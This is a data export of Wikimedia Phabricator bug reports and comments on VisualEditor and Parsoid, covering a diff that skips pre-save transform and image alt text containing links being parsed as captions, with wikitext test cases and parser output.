https://gerrit.wikimedia.org/r/77389",,,1375476734,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sug5dsmkfrgqkbno76mo,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,4.0,1.0,"Change 77389 had a related patch set uploaded by Esanders:
Handle <tt> as textStyle/code

GERRIT_URL"
54345,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"It is possible to insert a substituted template (by just putting in ""subst:whatever"" as its name). This will be saved correctly (substituted), but the diff shown in the review dialog shows the non-substituted wikitext.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53201",Medium,50.0,1375301760,1398283331.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-l6tecg3euv7s6vvgap3i,task_description,resolved,True,c1,3,True,False,False,4,,0.0,0.0,0.0,1.0,0.0,8.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,4.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,9.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.64,0.6533333333333333,"It is possible to insert a substituted template (by just putting in ""subst:whatever"" as its name). This will be saved correctly (substituted), but the diff shown in the review dialog shows the non-substituted wikitext.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
253863,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"Change 129251 merged by jenkins-bot:
Apply PST when generating diff

https://gerrit.wikimedia.org/r/129251",,,1398283390,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.4375,1.0,"Change 129251 merged by jenkins-bot:
Apply PST when generating diff

GERRIT_URL"
253860,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"Change 129251 had a related patch set uploaded by Alex Monk:
Apply PST when generating diff

https://gerrit.wikimedia.org/r/129251",,,1398282667,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,4.45,1.0,"Change 129251 had a related patch set uploaded by Alex Monk:
Apply PST when generating diff

GERRIT_URL"
253854,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"VE's API ""diff"" option instantiates its own DifferenceEngine but fails to set the PST option.",,,1377903454,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,21.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.157894736842105,0.8947368421052632,"VE's API ""diff"" option instantiates its own DifferenceEngine but fails to set the PST option."
253846,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"Marking as ""minor"" as we don't provide a built-in way for subst: to be added (yet) to transclusion invocations.",,,1375303837,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,21.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.3214285714285716,0.8928571428571429,"Marking as ""minor"" as we don't provide a built-in way for subst: to be added (yet) to transclusion invocations."
253841,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"Sorry, my bad. I forgot I was using custom JS to generate diffs.",,,1375303217,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,19.0,6.0,6.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.25,0.875,"Sorry, my bad. I forgot I was using custom JS to generate diffs."
253835,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"No, it shows the substituted code.",,,1375302317,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,"No, it shows the substituted code."
253830,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"Isn't this how normal diffs work? If I replace the sandbox with {{subst:test}}, it just shows the addition of the text ""{{subst:test}}"" when you hit show changes.",,,1375302025,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,7.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,2.0,4.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.022222222222222,0.7333333333333333,"Isn't this how normal diffs work? If I replace the sandbox with {{subst:test}}, it just shows the addition of the text ""{{subst:test}}"" when you hit show changes."
54341,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"en.wp user User:Timwi reports

""On the page [[Earth]], we had the following markup code:

[[File:(filename)|thumb|700px|center| (caption here) |alt= (alt text here) ]]

The VisualEditor parsed this incorrectly and assumed that “alt= (alt text here)” was the ''caption''.

Changing the order of the items fixed this despite having no effect on the rendered page, which indicates that it’s a bug in VisualEditor and not incorrect MediaWiki markup."" http://en.wikipedia.org/w/index.php?title=Earth&diff=566614668&oldid=566595613 

I've done some testing in my sandbox and it seems like the issue is somehow related to the presence of the {{val}} template. I wasn't able to replicate the bug with the {{small}} or {{convert}} templates for example, but I've not done extensive testing with the latter or with any other template.

https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=566618437&veaction=edit

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://parsoid-lb.eqiad.wikimedia.org/enwiki/User:Thryduulf/sandbox?oldid=566618437",Medium,50.0,1375300620,1426634110.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_description,resolved,True,c1,3,False,False,False,4,,1.0,0.0,0.0,0.5,1.5,5.0,1.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,2.5,0.0,4.0,8.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.5,0.0,0.5,0.5,0.5,0.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,14.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,7.0,1.5,9.5,1.5,3.0,10.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.5,8.0,4.0,0.0,1.0,0.0,3.5,0.0,0.5,0.5,0.0,1.5,0.0,0.0,3.0,3.6737786023500307,0.5987425273139559,"en.wp user User:Timwi reports

""On the page [[Earth]], we had the following markup code:

[[File:(filename)|thumb|700px|center| (caption here) |alt= (alt text here) ]]

The VisualEditor parsed this incorrectly and assumed that “alt= (alt text here)” was the ''caption''.

Changing the order of the items fixed this despite having no effect on the rendered page, which indicates that it’s a bug in VisualEditor and not incorrect MediaWiki markup."" URL 

I've done some testing in my sandbox and it seems like the issue is somehow related to the presence of the {{val}} template. I wasn't able to replicate the bug with the {{small}} or {{convert}} templates for example, but I've not done extensive testing with the latter or with any other template.

URL

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
428056,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"Done now. Will be deployed tomorrow after a round of RT-testing. Can be reopened, if necessary.",,,1426634110,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,89,,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,18.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.8636363636363636,"Done now. Will be deployed tomorrow after a round of RT-testing. Can be reopened, if necessary."
427774,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"Change 197120 merged by jenkins-bot:
T54341: Recover content from non-string tokens for img option alt

[[https://gerrit.wikimedia.org/r/197120]]",,,1426608678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,False,,,89,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.75,0.8571428571428571,"Change 197120 merged by jenkins-bot:
T54341: Recover content from non-string tokens for img option alt

[[GERRIT_URL]]"
427179,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"Change 197120 had a related patch set uploaded (by Subramanya Sastry):
WIP: T54341: Recover content from non-string tokens for img option alt

[[https://gerrit.wikimedia.org/r/197120]]
",,,1426534930,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,False,,,89,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.8333333333333335,0.8888888888888888,"Change 197120 had a related patch set uploaded (by Subramanya Sastry):
WIP: T54341: Recover content from non-string tokens for img option alt

[[GERRIT_URL]]
"
423438,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"This is a difference in how links are handled in alt-attributes, and nothing to do with templates.
```
[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt=Foo ]]' | node parse --fetchConfig false --normalize=parsoid
<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img alt=""Foo"" resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>Caption here</figcaption></figure>

[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt=[[Foo]] ]]' | node parse --fetchConfig false --normalize=parsoid
<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>alt=<a rel=""mw:WikiLink"" href=""Foo"" title=""Foo"">Foo</a> </figcaption></figure>

[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt={{echo|[[Foo]]}} ]]' | node parse --fetchConfig false --normalize=parsoid
<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>alt=<a rel=""mw:WikiLink"" href=""Foo"" title=""Foo"" typeof=""mw:Transclusion"" data-mw='{""parts"":[{""template"":{""target"":{""wt"":""echo"",""href"":""./Template:Echo""},""params"":{""1"":{""wt"":""[[Foo]]""}},""i"":0}}]}'>Foo</a> </figcaption></figure>
```

However, the PHP parser generates identical HTML for the ""alt=Foo"" and ""alt=[[Foo]]"" cases above.",,,1425937538,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,88,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,12.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,3.4038461538461537,0.75,"This is a difference in how links are handled in alt-attributes, and nothing to do with templates.
``CODE``

However, the PHP parser generates identical HTML for the ""alt=Foo"" and ""alt=[[Foo]]"" cases above."
423437,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"This is a difference in how links are handled in alt-attributes, and nothing to do with templates.
```
[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt=Foo ]]' | node parse --fetchConfig false --normalize=parsoid
<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img alt=""Foo"" resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>Caption here</figcaption></figure>

[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt=[[Foo]] ]]' | node parse --fetchConfig false --normalize=parsoid
<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>alt=<a rel=""mw:WikiLink"" href=""Foo"" title=""Foo"">Foo</a> </figcaption></figure>

[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt={{echo|[[Foo]]}} ]]' | node parse --fetchConfig false --normalize=parsoid
<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>alt=<a rel=""mw:WikiLink"" href=""Foo"" title=""Foo"" typeof=""mw:Transclusion"" data-mw='{""parts"":[{""template"":{""target"":{""wt"":""echo"",""href"":""./Template:Echo""},""params"":{""1"":{""wt"":""[[Foo]]""}},""i"":0}}]}'>Foo</a> </figcaption></figure>
```

However, the PHP parser generates identical HTML for the ""alt=Foo"" and ""alt=[[Foo]]"".",,,1425937523,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,88,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,12.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,3.34,0.74,"This is a difference in how links are handled in alt-attributes, and nothing to do with templates.
``CODE``

However, the PHP parser generates identical HTML for the ""alt=Foo"" and ""alt=[[Foo]]""."
423436,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"This is a difference in how links are handled in alt-attributes, and nothing to do with templates.
```
[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt=Foo ]]' | node parse --fetchConfig false --normalize=parsoid
<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img alt=""Foo"" resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>Caption here</figcaption></figure>

[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt=[[Foo]] ]]' | node parse --fetchConfig false --normalize=parsoid
<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>alt=<a rel=""mw:WikiLink"" href=""Foo"" title=""Foo"">Foo</a> </figcaption></figure>

[subbu@earth tests] echo '[[File:Foo.jpg|thumb|Caption here|alt={{echo|[[Foo]]}} ]]' | node parse --fetchConfig false --normalize=parsoid
<figure class=""mw-default-size"" typeof=""mw:Image/Thumb""><a href=""File:Foo.jpg""><img resource=""./File:Foo.jpg"" src=""//upload.wikimedia.org/wikipedia/commons/0/06/Foo.jpg"" height=""144"" width=""220""/></a><figcaption>alt=<a rel=""mw:WikiLink"" href=""Foo"" title=""Foo"" typeof=""mw:Transclusion"" data-mw='{""parts"":[{""template"":{""target"":{""wt"":""echo"",""href"":""./Template:Echo""},""params"":{""1"":{""wt"":""[[Foo]]""}},""i"":0}}]}'>Foo</a> </figcaption></figure>
```",,,1425937447,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,88,,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.3703703703703702,0.8518518518518519,"This is a difference in how links are handled in alt-attributes, and nothing to do with templates.
``CODE``"
406362,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"The problem seems to be with the link that the val template emits and Parsoid is somehow barfing on it. Can be reproduced with the following reduced test case:
``` [[File:Foo.jpg|thumb|Caption here|alt=This {{echo|[[will]]}} break]]```
Compare with output of
``` [[File:Foo.jpg|thumb|Caption here|alt=This {{echo|will not}} break]]```",,,1423003789,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,83,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,11.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.054054054054054,0.8108108108108109,"The problem seems to be with the link that the val template emits and Parsoid is somehow barfing on it. Can be reproduced with the following reduced test case:
``CODE`CODE`CODE``"
253592,Images: Links in alt (and maybe other) attributes of images generates incorrect HTML,"Never mind. My eyes deceived me. The following snippet still parses incorrectly.

[[File:Solar Life Cycle.svg|thumb|700px|center|The life cycle of the Sun|alt=14 billion year timeline showing Sun's present age at {{val|4.6|ul=byr}}; from {{val|6|u=byr}} Sun gradually warming, becoming a red dwarf at, ""soon"" followed by its transformation into a white dwarf star]]",,,1406236435,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bcphrwlve5fbhq4ltxr3,task_subcomment,,True,c1,3,True,,,55,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,13.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,8.0,5.0,0.0,3.0,0.0,4.0,0.0,0.0,3.0,1.0,5.0,0.0,0.0,3.0,4.12987012987013,0.7662337662337663,"Never mind. My eyes deceived me. The following snippet still parses incorrectly.

[[File:Solar Life Cycle.svg|thumb|700px|center|The life cycle of the Sun|alt=14 billion year timeline showing Sun's present age at {{val|4.6|ul=byr}}; from {{val|6|u=byr}} Sun gradually warming, becoming a red dwarf at, ""soon"" followed by its transformation into a white dwarf star]]"
